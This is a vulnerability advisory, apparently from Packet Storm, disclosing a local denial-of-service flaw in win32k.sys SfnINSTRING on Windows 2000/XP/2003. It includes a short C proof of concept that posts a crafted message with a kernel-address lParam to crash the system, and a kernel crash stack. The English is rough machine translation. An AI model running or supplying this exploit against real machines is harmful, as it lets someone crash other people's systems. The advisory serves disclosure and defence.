Windows 2000/XP/2003 win32k.sys SfnINSTRING Denial Of Service

Type packetstorm
Reporter MJ0011
Modified 2010-04-23T00:00:00


                                            `Windows 2000/XP/2003 win32k.sys SfnINSTRING local kernel Denial of Service Vulnerability   
Effect : Microsoft Windows 2000/XP/2003 full patch   
Published: 2010-04-22  
Vulnerability Details:   
Win32k.sys in DispatchMessage when the last call to xxxDefWindowProc, this function in dealing with some   
Message, will call gapfnScSendMessage this function table function to process,  
which under the deal 2000/xp/2003 0x4c No. message, there will be SfnINSTRING function called this function when the lParam is not empty,   
direct that the lParam is a memory pointer, and pull data directly from the address  
despite the use of the function of the SEH, but as long as the kernel address transmission errors will still cause the system BSOD   
Exploit code:   
# Include "stdafx.h"   
# Include "windows.h"   
int main (int argc, char * argv [])   
printf("Microsoft Windows Win32k.sys SfnINSTRING Local D.O.S Vuln\nBy MJ0011\nth_decoder$\nPressEnter");  
HWND hwnd = FindWindow ("DDEMLEvent", NULL);   
if (hwnd == 0)   
printf ("cannot find DDEMLEvent Window! \ n");   
return 0;   
PostMessage (hwnd, 0x18d, 0x0, 0x80000000);   
return 0;   
Common crash stack:   
kd> kc   
win32k! SfnINSTRING   
win32k! xxxDefWindowProc   
win32k! xxxEventWndProc   
win32k! xxxDispatchMessage   
win32k! NtUserDispatchMessage   
Windows 7/Vista no such problem   
Thanks to my colleagues LYL to help me discovered this vulnerability